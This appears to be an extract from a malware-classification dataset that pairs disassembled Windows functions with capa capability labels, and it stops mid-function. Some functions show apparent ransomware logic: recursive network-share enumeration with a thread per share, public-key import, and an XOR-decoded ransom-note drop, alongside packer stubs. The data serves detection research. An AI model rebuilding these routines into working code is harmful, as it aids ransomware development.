joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003bf70
Capabilities:
Create thread
Enumerate network shares

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov dword [rsp + 0x68], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x90]
xor r8d, r8d
xor edx, edx
mov ecx, 2
call qword [sym.imp.MPR.dll_WNetOpenEnumW]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x14003bfda
jmp 0x14003c1d0
mov dword [rsp + 0x44], 0x3e8
mov eax, dword [rsp + 0x44]
imul rax, rax, 0x30
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x48]
mov r8, qword [rsp + 0x38]
lea rdx, [rsp + 0x44]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MPR.dll_WNetEnumResourceW]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x14003c033
jmp 0x14003c1d0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MPR.dll_WNetCloseEnum]
mov qword [rsp + 0x50], 0
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x30], 0
jmp 0x14003c070
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x30], eax
jae 0x14003c1aa
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp qword [rcx + rax + 0x18], 0
je 0x14003c1a5
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 8], 3
je 0x14003c0d7
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 8], 9
je 0x14003c0d7
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 8], 4
jne 0x14003c178
mov edx, 0x104
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x58], rax
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.140002100
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov r8d, 0x104
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rcx + rax + 0x18]
mov rcx, qword [rsp + 0x58]
call fcn.140001cb0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x58]
lea r8, [0x14003bd80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x70], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x98], 2
jge 0x14003c1a5
mov eax, dword [rsp + 0x98]
inc eax
mov ecx, dword [rsp + 0x30]
imul rcx, rcx, 0x30
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
mov edx, eax
call fcn.14003bf70
jmp 0x14003c066
cmp qword [rsp + 0x60], 0
je 0x14003c1bd
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
cmp qword [rsp + 0x38], 0
je 0x14003c1d0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
add rsp, 0x88
ret
Function at 0x14003c260
Capabilities:
Import public key

Disassembly:
sub rsp, 0x48
movsxd rax, dword [0x1400774b0]
mov r8, rax
mov rdx, qword [str.__n_a_]
lea rcx, [0x1400767b0]
call fcn.140001cb0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [0x140074c58]
mov qword [rsp + 0x20], rax
lea r9, [0x140075fb0]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400767b0]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x14003c2c3
xor eax, eax
jmp 0x14003c364
lea rax, [0x140077018]
mov qword [rsp + 0x38], rax
lea rax, [0x140077040]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, dword [0x140074c58]
lea r8, [0x140075fb0]
mov edx, 8
mov ecx, 1
call qword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x14003c312
xor eax, eax
jmp 0x14003c364
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 1
xor r8d, r8d
xor edx, edx
lea rcx, [0x140076fc0]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x14003c33a
xor eax, eax
jmp 0x14003c364
lea r9, [0x140076fb0]
mov r8, qword [0x140077040]
mov edx, 1
mov rcx, qword [0x140076fc0]
call qword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
test eax, eax
jne 0x14003c362
xor eax, eax
jmp 0x14003c364
xor eax, eax
add rsp, 0x48
ret
Function at 0x140068240
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov r8, qword [rsp + 0xa0]
lea rdx, str._sAAA_READ_AAA.TXT
lea rcx, [0x140077050]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x140077050]
call fcn.1400681d0
movzx eax, al
test eax, eax
jne 0x14006840d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x60], rax
lea r8, str.ID_666_GO
mov edx, 0x9aaa
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x78], rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x44]
mov r8d, eax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call fcn.140001cb0
mov dword [rsp + 0x40], 0
jmp 0x14006832c
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jae 0x140068382
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, 0x37
idiv ecx
mov eax, edx
cdqe
mov rcx, qword [str.Kfiwer239324kfsdfKLFdsfoewfkdslfOOFEWFKDSL6666666FLDSFjiewqokffewfwgewgGKUJFHGdwsieflkdsKLFdsfoewfkdslfOOFEWFKDSL66]
movsx eax, byte [rcx + rax]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x80]
movsx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov byte [rdx + rcx], al
jmp 0x140068322
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, [0x140077050]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
je 0x140068402
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
add rsp, 0x98
ret
Function at 0x140dc0058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140dc01df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140dc0089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140dc006f
add dl, dl
jne 0x140dc0096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140dc00f6
xor eax, eax
add dl, dl
jne 0x140dc00a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140dc01ad
add dl, dl
jne 0x140dc00b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140dc00c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140dc00d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140dc00dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140dc00ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140dc007e
mov eax, 1
add dl, dl
jne 0x140dc0106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140dc0113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140dc00fb
sub eax, ebx
mov ebx, 1
jne 0x140dc014c
mov ecx, 1
add dl, dl
jne 0x140dc012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140dc013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140dc0123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140dc007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140dc0168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140dc0175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140dc015d
cmp eax, 0x7d00
jae 0x140dc019b
cmp eax, 0x500
jb 0x140dc0196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140dc007e
cmp eax, 0x7f
ja 0x140dc019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140dc007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140dc01d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140dc007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140694058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406941df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140694089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069406f
add dl, dl
jne 0x140694096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406940f6
xor eax, eax
add dl, dl
jne 0x1406940a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406941ad
add dl, dl
jne 0x1406940b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406940c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406940d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406940dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406940ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14069407e
mov eax, 1
add dl, dl
jne 0x140694106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140694113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406940fb
sub eax, ebx
mov ebx, 1
jne 0x14069414c
mov ecx, 1
add dl, dl
jne 0x14069412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14069413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140694123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140694168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140694175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069415d
cmp eax, 0x7d00
jae 0x14069419b
cmp eax, 0x500
jb 0x140694196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069407e
cmp eax, 0x7f
ja 0x14069419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406941d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14069407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0xc4b880
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xc4b88d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xc4b89d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xc4b885
lea eax, [rcx + 1]
jmp 0xc4b8ab
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xc4b8be
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xc4b8a4
sub eax, 3
jb 0xc4b8de
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xc4b92d
sar eax, 1
movsxd rbp, eax
jb 0xc4b914
jmp 0xc4b8ec
add ebx, ebx
jne 0xc4b8ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xc4b914
inc ecx
add ebx, ebx
jne 0xc4b8fa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xc4b914
call r11
adc ecx, ecx
add ebx, ebx
jne 0xc4b90d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xc4b8fc
add ecx, 2
jmp 0xc4b919
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00c4b842
jmp 0xc4b88d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x356000
mov dl, 0x82
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xc4b979
cmp rsi, rcx
jae 0xc4b981
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xc4b960
cmp al, 0x8f
ja 0xc4b960
cmp byte [rsi - 2], 0xf
je 0xc4b966
sub al, 0xe8
cmp al, 1
ja 0xc4b94a
cmp rsi, rcx
jae 0xc4b981
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xc4b950
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xc4b981
lodsb al, byte [rsi]
jmp 0xc4b960
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x841000]
mov eax, dword [rdi]
or eax, eax
je 0xc4b9de
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x84b000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xc4b98e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xc4b9d8
mov qword [rbx], rax
add rbx, 8
jmp 0xc4b9ae
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xc4ba22
cmp al, 0xef
ja 0xc4ba0a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xc4b9ea
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0xc4b9f9
mov eax, dword [rdi]
add rdi, 4
jmp 0xc4b9f9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xc4ba76
sub rsp, 0xffffffffffffff80
jmp 0x46dbc0
Function at 0x14007d60c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14007d646
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14007d64b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14007d694
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400a5d70]
cmp byte [rcx + rax], 0
je 0x14007d694
dec r8
sub rdx, 1
jne 0x14007d67a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14007eb10
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14007eb5a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007eb5a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007eb5a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007eb5a
cmp dword [rcx + 0x84], 0xe
jbe 0x14007eb5a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14007eb5c
xor al, al
add rsp, 0x28
ret
Function at 0x140005470
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x14003c038]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r12d, edx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x20], xmm0
xor r13d, r13d
mov esi, r13d
mov qword [rsp + 0x30], r13
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebp, eax
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rsp + 0x38], 0x1c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3c], xmm0
mov qword [rsp + 0x4c], rax
lea rdx, [rsp + 0x38]
mov rcx, rbx
call sub.KERNEL32.dll_Thread32First
mov rdi, qword [rsp + 0x28]
test eax, eax
je 0x140005539
nop dword [rax]
cmp dword [rsp + 0x44], ebp
jne 0x140005528
cmp rdi, rsi
je 0x14000550c
mov eax, dword [rsp + 0x40]
mov dword [rdi], eax
add rdi, 4
mov qword [rsp + 0x28], rdi
jmp 0x140005528
lea r8, [rsp + 0x40]
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.1400015e0
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
lea rdx, [rsp + 0x38]
mov rcx, rbx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1400054f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
mov rbp, qword [rsp + 0x20]
sub rax, rbp
cmp rax, 4
jb 0x1400055d0
cmp rbp, rdi
je 0x1400055d0
mov rbx, rbp
bts r12d, 0x14
mov r14d, dword [rbx]
mov r8d, r14d
xor edx, edx
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r15, rax
lea rcx, [rax + 1]
test rcx, 0xfffffffffffffffe
jne 0x14000558c
add rbx, 4
cmp rbx, rdi
je 0x1400055d0
jmp 0x140005560
lea rdx, str.Using_thread_TID
lea rcx, [0x14003d420]
call fcn.140001230
mov rcx, qword [rax]
movsxd r8, dword [rcx + 4]
mov ecx, dword [r8 + rax + 0x18]
and ecx, 0xfffff3ff
bts ecx, 9
mov dword [r8 + rax + 0x18], ecx
mov edx, r14d
mov rcx, rax
call fcn.140002970
mov rcx, rax
call fcn.140001c60
mov r13, r15
test rbp, rbp
je 0x140005608
sub rsi, rbp
and rsi, 0xfffffffffffffffc
mov rax, rbp
cmp rsi, 0x1000
jb 0x1400055fd
add rsi, 0x27
mov rbp, qword [rbp - 8]
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005630
mov rdx, rsi
mov rcx, rbp
call fcn.1400090a4
mov rax, r13
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400091c0
mov rbx, qword [rsp + 0xb0]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14000f8d4
int3
Function at 0x140008820
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000884e
xor eax, eax
jmp 0x140008934
cmp qword [rcx + 0x68], 0
je 0x14000885f
call fcn.140008950
jmp 0x140008934
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140008876
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140008878
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400088aa
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14000af20
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000892e
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1400088e1
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14000890a
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1400146b8
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000892e
cmp rsi, rbx
ja 0x1400088e8
test rsi, rsi
je 0x14000892e
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400146b8
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140009df0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009e3a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009e3a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009e3a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009e3a
cmp dword [rcx + 0x84], 0xe
jbe 0x140009e3a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009e3c
xor al, al
add rsp, 0x28
ret

Function at 0x140016c40
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140016a3c
Function at 0x14001e820
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400096f0
sub rsp, rax
mov rax, qword [0x14003c038]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001b190
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14001e86f
mov rax, rbp
jmp 0x14001e977
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x3e410]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14001f940
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x3e410]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14001e973
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001e973
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14001f940
test rax, rax
js 0x14001e973
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14001e973
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14001e965
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14001e965
cmp byte [rcx], 0xd
jne 0x14001e94b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14001e95a
cmp byte [rcx + 1], 0xa
jne 0x14001e95a
inc rcx
jmp 0x14001e95a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x3c440]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14001e92d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14001e977
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400091c0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14001eb98
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001ebae
mov al, 1
jmp 0x14001ec0e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001ebbf
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001ec0c
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400220f4
mov rbx, rax
cmp rax, 0xffffffffffffffff
